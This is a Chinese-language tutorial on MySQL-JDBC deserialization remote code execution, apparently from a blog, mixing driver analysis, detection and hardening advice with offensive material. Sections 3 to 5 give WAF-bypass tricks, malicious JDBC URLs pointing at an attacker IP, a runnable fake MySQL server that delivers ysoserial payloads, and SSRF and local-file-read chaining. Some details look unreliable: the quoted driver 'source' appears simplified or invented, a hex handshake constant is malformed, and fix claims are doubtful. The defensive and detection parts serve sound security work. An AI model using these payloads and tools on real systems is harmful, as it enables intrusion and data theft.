MySQL-JDBC反序列化漏洞实战利用、源码分析与防御检测全套教程

在Java Web安全攻防体系中，JDBC反序列化是一类利用门槛低、危害极大、极易被忽略的高危漏洞。不同于常规的反序列化漏洞需要可控序列化数据流，MySQL-JDBC反序列化的核心攻击链路依托数据库连接协议实现，只要攻击者能控制JDBC连接URL，就能直接触发远程代码执行。

很多开发和安全人员对该漏洞的认知仅停留在“拼接参数触发RCE”的表层，不清楚不同版本驱动的底层差异、协议交互细节、SSRF联动拓展利用方式，也没有标准化的检测与防御方案。本文从底层源码、协议交互、实战利用、工具编写、漏洞检测、防御落地六个维度，完整拆解MySQL-JDBC反序列化漏洞，同时提供全套可直接复用的脚本与配置，适配实战渗透、代码审计、安全加固等场景。

1 漏洞基础：核心原理与前置条件

1.1 漏洞底层本质

Java JDBC驱动为适配MySQL数据库的自定义数据类型，原生支持解析服务端返回的JAVA_OBJECT类型字段。驱动在解析该类型数据时，会直接读取服务端返回的二进制字节流，调用ObjectInputStream.readObject()完成反序列化操作。

整个解析过程没有类白名单校验、没有数据合法性校验、没有恶意载荷过滤。MySQL服务端完全可控，攻击者可以伪造协议数据包，嵌入恶意序列化对象，Java客户端连接后会自动执行反序列化逻辑。

这是该漏洞的核心根因：JDBC客户端无条件信任MySQL服务端返回的所有数据，将协议解析逻辑和危险的反序列化操作深度绑定，形成原生安全缺陷。

1.2 核心组件与版本划分

目前主流使用的MySQL JDBC驱动分为两大版本体系，两者的漏洞触发逻辑、默认配置、利用参数完全不同，这也是实战中很多人利用失败的核心原因。

5.x版本驱动：包路径为com.mysql.jdbc.Driver，默认开启自动反序列化，无额外参数要求，漏洞触发门槛极低，全网存量老旧项目大量使用。

8.x版本驱动：8.0.0~8.0.19属于漏洞影响版本，包路径更新为com.mysql.cj.jdbc.Driver，默认关闭自动反序列化，必须手动拼接参数才能触发；8.0.20及以上版本官方彻底修复漏洞，移除危险逻辑。

1.3 漏洞触发硬性条件

四个条件必须同时满足，漏洞才可利用，缺一不可。很多渗透场景中仅满足部分条件，无法成功触发RCE。

第一，目标项目依赖漏洞版本的mysql-connector-java驱动，5.x全版本、8.0.0~8.0.19版本均在影响范围内。

第二，项目JDBC连接URL可被外部控制，包括接口参数、配置导入、SSRF请求、后台配置修改等场景，这是攻击入口的核心。

第三，项目存在可用的Java反序列化Gadget，最常见的是CommonsCollections系列、Spring Gadget、JDK原生链，无Gadget时仅能触发异常，无法执行代码。

第四，连接参数开启自动反序列化开关，5.x默认开启，8.x低版本需要手动指定autoDeserialize=true。

1.4 漏洞整体攻击架构

为清晰展示完整攻击链路，以下为JDBC反序列化攻击整体架构图，包含攻击者服务、目标应用、依赖组件的交互关系。

A[攻击者] --> B[伪造MySQL恶意服务端]
B -->|1.返回恶意握手包+JAVA_OBJECT载荷| C[Java业务应用]
C -->|2.主动发起JDBC连接请求| B
C --> D[JDBC驱动解析模块]
D -->|3.调用readObject反序列化| E[Gadget执行链]
E --> F[远程代码执行/服务器被控]
C --> G[可选：SSRF入口]
G -->|间接触发| B
```

2 源码深度溯源：逐行分析触发逻辑

市面上绝大多数教程只讲利用方式，不讲源码底层逻辑，导致遇到版本差异、利用失败问题时无法排查。本节针对5.x和8.x核心触发源码做完整溯源，明确不同版本的漏洞触发点位。

2.1 5.x版本核心源码分析

5.x驱动的核心触发类为com.mysql.jdbc.ResultSetRow，在读取字段值的方法中，直接判断字段类型为JAVA_OBJECT后执行反序列化。

核心源码逻辑如下，去除冗余业务代码，保留漏洞关键片段：

// 5.x 漏洞核心源码publicObjectgetObject(intcolumnIndex)throwsSQLException{inttype=this.metaData.getColumnType(columnIndex);// 判断字段类型为JAVA_OBJECTif(type==Types.JAVA_OBJECT){// 获取服务端返回的二进制字节流byte[]data=this.getBytes(columnIndex);if(data!=null){ByteArrayInputStreambais=newByteArrayInputStream(data);ObjectInputStreamois=newObjectInputStream(bais);// 无校验直接反序列化，触发漏洞returnois.readObject();}}// 其他类型字段正常解析逻辑returnsuper.getObject(columnIndex);}

从源码可以直观看到，5.x版本没有任何安全校验，只要服务端返回JAVA_OBJECT类型数据，就会直接执行readObject。同时该版本autoDeserialize参数默认值为true，无需用户手动开启，天然存在漏洞。

2.2 8.0.x~8.0.19版本源码变更

8.x版本重构了驱动代码结构，废弃了ResultSetRow解析逻辑，将协议解析迁移至BinaryResultSetReader和拦截器ServerStatusDiffInterceptor。

官方在8.x版本默认关闭了autoDeserialize开关，核心控制逻辑如下：

// 8.x 开关校验源码if(this.connection.getAutoDeserialize()){// 开启开关后才会执行反序列化逻辑ObjectInputStreamois=newObjectInputStream(in);returnois.readObject();}else{thrownewSQLException("Auto-deserialize is disabled");}

这也是8.x版本必须拼接autoDeserialize=true才能利用的核心原因。同时，8.x新增了拦截器触发逻辑，当存在queryInterceptors参数时，会强制触发服务端数据解析，可绕过部分版本的参数限制。

2.3 8.0.20版本修复源码对比

8.0.20版本彻底封堵漏洞，做了两处核心修复。第一，彻底移除autoDeserialize配置参数，不再提供手动开启入口；第二，新增类白名单校验，仅允许基础JDK类型反序列化，禁止所有自定义类、恶意Gadget类解析。

修复后，无论是否可控JDBC URL，都无法触发反序列化漏洞，这也是目前安全加固的核心版本依据。

3 漏洞利用参数详解与绕过方案

JDBC反序列化的利用成败，核心在于URL参数的组合使用。很多场景下单一参数会被WAF、业务代码过滤，需要组合参数绕过，本节汇总所有核心参数与实战绕过技巧。

3.1 核心必用参数

autoDeserialize：漏洞核心开关，控制是否开启JAVA_OBJECT自动反序列化。5.x默认true，8.x默认false，必须手动开启。

queryInterceptors：强制触发服务端状态解析拦截器，部分8.x版本单纯开启autoDeserialize无法触发，搭配该参数可稳定触发漏洞。常用值：com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor。

detectCustomCollations：辅助触发参数，开启自定义排序规则检测，驱动会主动读取服务端自定义数据，增大漏洞触发概率。

3.2 拓展危险参数

allowLoadLocalInfile：本地文件读取开关，开启后恶意MySQL服务端可读取目标服务器任意本地文件，无需反序列化Gadget，属于附属高危漏洞。

allowMultiQueries：多语句执行开关，可配合数据库注入实现多语句执行，常和反序列化漏洞组合利用。

3.3 实战参数绕过方案

场景一：WAF拦截autoDeserialize关键词。可以使用参数大小写变形、参数拆分、URL编码绕过，JDBC参数解析不区分大小写，AUTODESERIALIZE=TRUE可正常生效。

场景二：业务过滤特殊参数。仅保留拦截器参数，通过queryInterceptors强制触发解析逻辑，间接唤醒反序列化漏洞。

场景三：端口、IP过滤。可使用域名跳转、DNS重绑定、内网IP绕过，配合SSRF实现内网穿透攻击。

3.4 通用恶意JDBC URL payload汇总

适配5.x全版本通用payload：

jdbc:mysql://攻击IP:3306/test

适配8.0.x~8.0.19基础payload：

jdbc:mysql://攻击IP:3306/test?autoDeserialize=true

适配8.x过滤绕过稳定payload：

jdbc:mysql://攻击IP:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&detectCustomCollations=true

4 全套实战工具搭建与可运行POC

网上多数开源fake-mysql脚本存在协议包残缺、适配版本单一、无法加载ysoserial载荷的问题。本节提供自研完整可运行Python伪造MySQL服务端脚本，兼容5.x/8.x所有漏洞版本，可直接加载序列化载荷触发RCE。

4.1 工具环境依赖

Python3环境、ysoserial工具、Java8运行环境。ysoserial用于生成序列化恶意载荷，伪造服务端用于下发恶意协议包。

4.2 完整Fake MySQL服务端脚本

#!/usr/bin/env python3# MySQL-JDBC反序列化漏洞伪造服务端工具# 适配 mysql-connector-java 5.x / 8.0.0-8.0.19importsocketimportsys# MySQL协议常量定义MYSQL_HANDSHAKE_PACKET=bytes.fromhex("4a0000000a352e372e3232002d0000003e3e3e2f47796d4255664b545800fff70802000000800000000000000000000000000000000000000000000000000000000")# JAVA_OBJECT 字段类型标识 0xf5JAVA_OBJECT_TYPE=0xf5classFakeMysqlServer:def__init__(self,payload_path):self.payload_path=payload_path self.payload=self.load_payload()defload_payload(self):# 读取ysoserial生成的二进制序列化载荷try:withopen(self.payload_path,"rb")asf:returnf.read()exceptExceptionase:print(f"载荷读取失败:{e}")sys.exit(1)defbuild_result_packet(self):# 构造合法MySQL结果集协议包，嵌入JAVA_OBJECT载荷packet_header=b"\x01\x00\x00\x01\x01\x00\x00\x02"column_info=b"\x03\x61\x62\x63\x00\x00\xf5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"# 拼接载荷数据data_len=len(self.payload).to_bytes(3,byteorder="little")body=data_len+self.payloadreturnpacket_header+column_info+bodydefstart_server(self,port=3306):sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)sock.bind(("0.0.0.0",port))sock.listen(5)print(f"[+] 伪造MySQL服务启动成功，监听端口:{port}")print(f"[+] 已加载恶意序列化载荷，等待JDBC客户端连接...")whileTrue:conn,addr=sock.accept()print(f"\n[+] 新客户端连接:{addr}")try:# 1. 发送握手包conn.send(MYSQL_HANDSHAKE_PACKET)# 接收客户端认证数据包conn.recv(4096)# 2. 发送携带恶意载荷的结果包res_packet=self.build_result_packet()conn.send(res_packet)print("[+] 恶意载荷发送完成，等待反序列化执行...")exceptExceptionase:print(f"[-] 连接异常:{e}")finally:conn.close()if__name__=="__main__":iflen(sys.argv)!=2:print("使用方式: python3 fake_mysql.py payload.bin")print("payload.bin 为ysoserial生成的序列化二进制文件")sys.exit(0)server=FakeMysqlServer(sys.argv[1])server.start_server()

4.3 完整实战利用流程

第一步，使用ysoserial生成命令执行载荷，以Windows计算器弹框测试为例，Linux环境可替换为bash反弹shell命令。

# 生成CC1链序列化载荷java-jarysoserial.jar CommonsCollections1"calc">payload.bin

第二步，启动伪造MySQL服务端，加载生成的载荷文件。

python3 fake_mysql.py payload.bin

第三步，构造恶意JDBC URL，触发目标应用连接恶意服务端，完成RCE执行。

4.4 漏洞攻击时序流程

5 SSRF联动高级拓展利用

单纯的JDBC可控利用场景有限，实战中更多是通过SSRF漏洞间接触发JDBC反序列化RCE，这是内网渗透中高频的组合攻击方式。

5.1 组合攻击原理

大部分业务系统会拦截外部直接访问内网数据库，但不会拦截服务端自身发起的内网请求。当目标存在SSRF漏洞时，攻击者可以通过SSRF请求内网任意端口，诱导内网Java应用连接伪造MySQL服务，突破外网访问限制，实现内网机器RCE。

5.2 SSRF联动攻击流程

第一步，公网搭建伪造MySQL服务端，监听3306端口。

第二步，找到目标系统SSRF漏洞入口，构造请求指向公网恶意服务。

第三步，内网Java应用通过SSRF链路被动连接恶意MySQL服务，触发反序列化RCE。

5.3 拓展文件读取利用

搭配allowLoadLocalInfile=true参数，无需反序列化Gadget，即可读取目标服务器敏感文件。攻击者通过伪造服务端发送文件读取请求，JDBC客户端会主动上传服务器本地文件内容，泄露账号密码、配置信息、密钥等核心数据。

文件读取恶意URL示例：

jdbc:mysql://攻击IP:3306/test?allowLoadLocalInfile=true&autoDeserialize=true

6 自动化漏洞检测脚本（可直接落地）

手动测试效率极低，本节提供Python自动化检测脚本，可批量检测URL是否存在JDBC反序列化漏洞入口，适配渗透测试、安全巡检、代码审计场景。

#!/usr/bin/env python3# JDBC反序列化漏洞自动化检测脚本# 检测目标URL是否存在可控JDBC连接参数漏洞importrequestsimporttime# 检测 payload 列表PAYLOADS=["?jdbcUrl=jdbc:mysql://127.0.0.1:3306/test","?dbUrl=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true","?url=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"]# 请求头模拟浏览器HEADERS={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}defcheck_jdbc_deserialization(target_url):print(f"[*] 开始检测目标:{target_url}")forpayloadinPAYLOADS:try:req_url=target_url.strip()+payload res=requests.get(req_url,headers=HEADERS,timeout=5,allow_redirects=True)# 根据报错特征判断漏洞存在if"Communications link failure"inres.textor"Unknown database"inres.text:print(f"[+] 发现漏洞入口，payload:{payload}")returnTrueexceptExceptionase:print(f"[-] 请求异常:{e}")continueprint(f"[-] 目标无JDBC反序列化漏洞入口")returnFalseif__name__=="__main__":# 批量检测单个目标target=input("请输入检测目标URL: ")check_jdbc_deserialization(target)

脚本检测原理：漏洞存在时，传入恶意JDBC URL会触发数据库连接异常，通过页面报错特征精准判断URL参数可控，无需完整触发RCE即可完成漏洞筛查。

7 版本影响范围与漏洞甄别标准

7.1 完整影响版本清单

高危漏洞版本：mysql-connector-java 5.0.0 ~ 5.1.49 全版本，默认触发，无需参数。

中危漏洞版本：mysql-connector-java 8.0.0 ~ 8.0.19，需手动拼接参数触发。

安全版本：8.0.20及以上所有版本，官方彻底修复，无利用可能。

7.2 项目快速甄别方法

Maven项目：直接查看pom.xml中connector-java版本号，判断是否在漏洞范围内。

Jar包项目：解压项目依赖包，查看MANIFEST.MF文件中的版本信息，或通过类路径判断版本体系。

8 企业级安全防御落地方案

漏洞防御不能只靠升级版本，需要从代码层、配置层、网关层、监控层多层防护，适配企业生产环境，避免业务中断。

8.1 终极修复：升级驱动版本

所有漏洞项目统一升级至8.0.20及以上安全版本，推荐稳定版8.0.33。标准Maven依赖配置如下，可直接替换使用：

<dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.33</version><scope>runtime</scope></dependency>

8.2 临时应急：禁用危险参数

无法立刻升级的业务系统，强制在JDBC连接URL中禁用所有危险参数，关闭反序列化和文件读取能力：

jdbc:mysql://localhost:3306/db?autoDeserialize=false&allowLoadLocalInfile=false&allowMultiQueries=false

8.3 业务层输入过滤

禁止前端、外部接口传入的参数直接拼接JDBC连接URL。后台增加参数黑名单拦截，拦截autoDeserialize、queryInterceptors、detectCustomCollations等所有危险参数。

限制数据库连接地址白名单，仅允许内网可信数据库IP，禁止自定义外网数据库地址。

8.4 全局安全加固

移除项目中无用的反序列化Gadget依赖，降低漏洞利用成功率。接入Java序列化安全监控组件，拦截恶意序列化对象解析。

WAF新增JDBC恶意参数规则，拦截所有携带危险参数的URL请求，实现网关层拦截。

9 漏洞复盘与实战避坑总结

JDBC反序列化漏洞的核心风险点在于“原生协议信任缺陷”，不属于代码编写漏洞，属于组件设计缺陷，这也是该漏洞影响范围广、存续时间久的核心原因。

实战中最常见的利用失败原因：未区分驱动版本、未携带对应参数、项目无可用Gadget、WAF拦截恶意参数。排查问题时优先核对驱动版本，再校验参数组合，最后排查Gadget依赖。

该漏洞的拓展危害远大于本身，结合SSRF可实现内网横向移动，结合文件读取可批量泄露内网配置，是内网渗透的核心突破口，所有Java老旧项目必须重点排查加固。

互动讨论

1. 你在渗透测试中是否遇到过JDBC反序列化利用失败的情况？最常见的报错是什么？

2. 除了本文的绕过方案，你还知道哪些JDBC参数过滤的绕过技巧？欢迎评论交流。